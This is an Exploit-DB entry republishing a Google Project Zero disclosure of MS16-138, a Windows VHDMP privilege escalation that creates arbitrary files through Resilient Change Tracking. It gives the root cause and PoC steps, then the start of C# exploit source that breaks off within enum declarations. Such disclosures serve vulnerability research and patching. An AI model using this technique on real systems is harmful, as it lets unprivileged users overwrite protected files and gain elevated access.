Exploit-DB #40763
Description: Microsoft Windows - VHDMP Arbitrary File Creation Privilege Escalation (MS16-138)
Type: local
Platform: windows
Date: 2016-11-15
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=914

Windows: VHDMP Arbitrary File Creation EoP
Platform: Windows 10 10586 and 14393. Unlikely to work on 7 or 8.1 as I think it’s new functionality
Class: Elevation of Privilege

Summary:
The VHDMP driver doesn’t safely create files related to Resilient Change Tracking leading to arbitrary file overwrites under user control leading to EoP.

Description:

The VHDMP driver is used to mount VHD and ISO files so that they can be accessed as a normal mounted volume. In Windows 10 support was introduced for Resilient Change Tracking which adds a few new files ending with .rct and .mrt next to the root vhd. When you enable RCT on an existing VHD it creates the files if they’re not already present. Unfortunately it does it using ZwCreateFile (in VhdmpiCreateFileWithSameSecurity) and doesn’t specify the OBJ_FORCE_ACCESS_CHECK flag. As the location is entirely controlled by the user we can exploit this to get an arbitrary file create/overwrite, and the code as its name suggests will copy across the DACL from the parent VHD meaning we’ll always be able to access it.

Note this doesn’t need admin rights as we never mount the VHD, just set RCT. However you can’t use it in a sandbox as opening the drive goes through multiple access checks.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. It will create abc.txt and xyz.txt inside the Windows directory which we normally can’t write to.

1) Compile the C# source code file.
2) Execute the poc passing the path
3) It should print that it successfully created a file

Expected Result:
Setting RCT fails.

Observed Result:
The user has created the files \Windows\abc.txt and \Windows\xyz.txt with a valid DACL for the user to modify the files. 
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;
using System.Linq;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0